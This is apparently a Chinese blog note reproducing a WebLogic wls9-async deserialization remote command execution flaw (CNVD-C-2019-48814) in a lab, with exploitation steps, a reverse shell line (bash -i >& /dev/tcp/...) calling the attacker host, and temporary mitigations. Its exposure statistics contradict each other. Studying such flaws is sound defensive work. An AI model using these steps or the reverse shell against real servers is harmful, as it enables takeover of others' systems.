CNVD-C-2019-48814 WebLogic反序列化遠程命令執行漏洞復現
- 2019 年 10 月 7 日
- 筆記
0X01 Weblogic組件介紹
WebLogic是美國Oracle公司出品的一個Application Server,確切的說是一個基於JAVAEE架構的中間件,是用於開發、集成、部署和管理大型分散式Web應用、網路應用和資料庫應用的Java應用伺服器。
WebLogic將Java的動態功能和Java Enterprise標準的安全性引入大型網路應用的開發、集成、部署和管理之中。是商業市場上主要的Java(J2EE)應用伺服器軟體(Application Server)之一,是世界上第一個成功商業化的J2EE應用伺服器,具有可擴展性,快速開發,靈活,可靠性等優勢。
根據FOFA的數據統計,全球共有23024個開放的weblogic服務。其中美國最多,有129583個開放服務。其次是中國,有28772個開放的weblogic服務。德國排第三,有22352個開放的weblogic服務。新加坡有18473個開放的weblogic服務。英國有15980個開放的weblogic服務。
中國的weblogic服務分布如下,北京最多,有6824個服務,浙江有4805個服務,山東有985個服務,廣東有801個服務,上海有778個服務。

0X02 漏洞描述
CNVD-C-2019-48814漏洞主要是利用了WebLogic中的wls9-async組件,攻擊者可以在
/_async/AsyncResponseService路徑下傳入惡意的xml格式的數據,傳入的數據在伺服器端反序列化時,執行其中的惡意程式碼,實現遠程命令執行,攻擊者可以進而獲得整台伺服器的許可權。
0X03漏洞影響
WebLogic 10.*
WebLogic 12.1.3.0
0X04漏洞復現
環境描述:
靶機:192.168.47.140(必須使用linux系統,weblogic10.3.6.0)
攻擊:192.168.47.142(kali)
1. 確定目標系統對外開放/_async/AsyncResponseService路徑,存在此漏洞。

2. kali本地監聽9999埠

3. 傳入構造好額xml數據進行攻擊。提交

4. kali顯示攻擊成功

5. 執行命令


備註:為什麼bash -i>& /dev/tcp/192.168.47.142/9999 0>&1命令?
反彈shell命令:bash -i >&/dev/tcp/192.168.190.138/66660>&1

所以整句話的意思就是把當前運行weblogic的bash反彈到192.168.47.142的9999埠上。
0X05 漏洞修復
官方暫未發布針對此漏洞的修復修補程式,在官方修復之前,可以採取以下方式進行臨時防護:
(1)配置URL訪問策略
通過訪問控制策略禁止對/_async/*路徑的訪問。
(2)刪除war文件及相關文件夾,並重啟Weblogic服務。
具體路徑如下:
版本號為10.3.*:
Middlewarewlserver_10.3serverlibbea_wls9_async_response.war
%DOMAIN_HOME%serversAdminServertmp_WL_internalbea_wls9_async_response
%DOMAIN_HOME%serversAdminServertmp.internalbea_wls9_async_response.war
版本號為12.1.3:
MiddlewareOracle_Homeoracle_commonmodulescom.oracle.webservices.wls.bea-wls9-async-response_12.1.3.war
%DOMAIN_HOME%serversAdminServertmp.internalcom.oracle.webservices.wls.bea-wls9-async-response_12.1.3.war
%DOMAIN_HOME%serversAdminServertmp_WL_internalcom.oracle.webservices.wls.bea-wls9-async-response_12.1.3